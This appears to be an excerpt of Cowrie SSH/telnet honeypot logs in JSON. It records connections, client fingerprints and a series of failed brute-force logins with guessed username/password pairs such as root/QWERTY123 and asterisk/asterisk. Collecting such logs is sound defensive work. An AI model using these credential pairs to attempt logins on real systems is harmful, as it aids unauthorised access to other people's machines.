{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:45.719611Z","src_ip":"176.65.132.129","session":"2a50ed7b5604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:46.810163Z","src_ip":"176.65.132.129","session":"2a50ed7b5604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55646,"dst_ip":"159.203.135.109","dst_port":22,"session":"25998f0c4936","protocol":"ssh","message":"New connection: 176.65.132.129:55646 (159.203.135.109:22) [session: 25998f0c4936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:48.753798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:48.759728Z","src_ip":"176.65.132.129","session":"25998f0c4936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f687af03753","protocol":"ssh","message":"New connection: 172.237.20.62:51288 (159.203.135.109:22) [session: 5f687af03753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:48.767971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:48.773104Z","src_ip":"172.237.20.62","session":"5f687af03753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:48.931870Z","src_ip":"172.237.20.62","session":"5f687af03753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:48.964898Z","src_ip":"176.65.132.129","session":"25998f0c4936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:49.271816Z","src_ip":"176.65.132.129","session":"25998f0c4936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:49.410037Z","src_ip":"172.237.20.62","session":"5f687af03753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:50.356456Z","src_ip":"176.65.132.129","session":"25998f0c4936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:50.575047Z","src_ip":"172.237.20.62","session":"5f687af03753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55652,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b3abe0a0a26","protocol":"ssh","message":"New connection: 176.65.132.129:55652 (159.203.135.109:22) [session: 3b3abe0a0a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:52.278527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:52.283204Z","src_ip":"176.65.132.129","session":"3b3abe0a0a26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:52.365478Z","src_ip":"176.65.132.129","session":"3b3abe0a0a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:52.611035Z","src_ip":"176.65.132.129","session":"3b3abe0a0a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.678542613983154,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:52.874309Z","src_ip":"45.58.127.90","session":"9a05b0a10ffc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:53.778716Z","src_ip":"176.65.132.129","session":"3b3abe0a0a26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55662,"dst_ip":"159.203.135.109","dst_port":22,"session":"889a95ba50c0","protocol":"ssh","message":"New connection: 176.65.132.129:55662 (159.203.135.109:22) [session: 889a95ba50c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:55.648132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:55.665507Z","src_ip":"176.65.132.129","session":"889a95ba50c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:55.748208Z","src_ip":"176.65.132.129","session":"889a95ba50c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:55.994939Z","src_ip":"176.65.132.129","session":"889a95ba50c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.04224181175232,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:56.215023Z","src_ip":"45.58.127.90","session":"ad60bdc76281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:57.081767Z","src_ip":"176.65.132.129","session":"889a95ba50c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52084,"dst_ip":"159.203.135.109","dst_port":22,"session":"475b62e97509","protocol":"ssh","message":"New connection: 176.65.132.129:52084 (159.203.135.109:22) [session: 475b62e97509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:59.235266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:59.240608Z","src_ip":"176.65.132.129","session":"475b62e97509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:59.322549Z","src_ip":"176.65.132.129","session":"475b62e97509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:59.568938Z","src_ip":"176.65.132.129","session":"475b62e97509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43038,"dst_ip":"159.203.135.109","dst_port":22,"session":"7db19aee16a4","protocol":"ssh","message":"New connection: 172.237.20.62:43038 (159.203.135.109:22) [session: 7db19aee16a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:59.758024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:59.766481Z","src_ip":"172.237.20.62","session":"7db19aee16a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:59.929449Z","src_ip":"172.237.20.62","session":"7db19aee16a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:00.473880Z","src_ip":"172.237.20.62","session":"7db19aee16a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:00.653610Z","src_ip":"176.65.132.129","session":"475b62e97509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:01.640731Z","src_ip":"172.237.20.62","session":"7db19aee16a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52088,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b215e31fc0","protocol":"ssh","message":"New connection: 176.65.132.129:52088 (159.203.135.109:22) [session: e3b215e31fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:02.605200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:02.610175Z","src_ip":"176.65.132.129","session":"e3b215e31fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.379841804504395,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:02.648763Z","src_ip":"45.58.127.90","session":"7fb1aaf84ae1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:02.693451Z","src_ip":"176.65.132.129","session":"e3b215e31fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:02.946072Z","src_ip":"176.65.132.129","session":"e3b215e31fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:04.032397Z","src_ip":"176.65.132.129","session":"e3b215e31fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.43528199195862,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:05.320259Z","src_ip":"45.58.127.90","session":"ebc404d0775a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41340,"dst_ip":"159.203.135.109","dst_port":22,"session":"e68147d54e7f","protocol":"ssh","message":"New connection: 176.65.132.129:41340 (159.203.135.109:22) [session: e68147d54e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:05.966832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:06.138408Z","src_ip":"176.65.132.129","session":"e68147d54e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:06.142724Z","src_ip":"176.65.132.129","session":"e68147d54e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:06.512884Z","src_ip":"176.65.132.129","session":"e68147d54e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:07.598168Z","src_ip":"176.65.132.129","session":"e68147d54e7f","protocol":"ssh"}
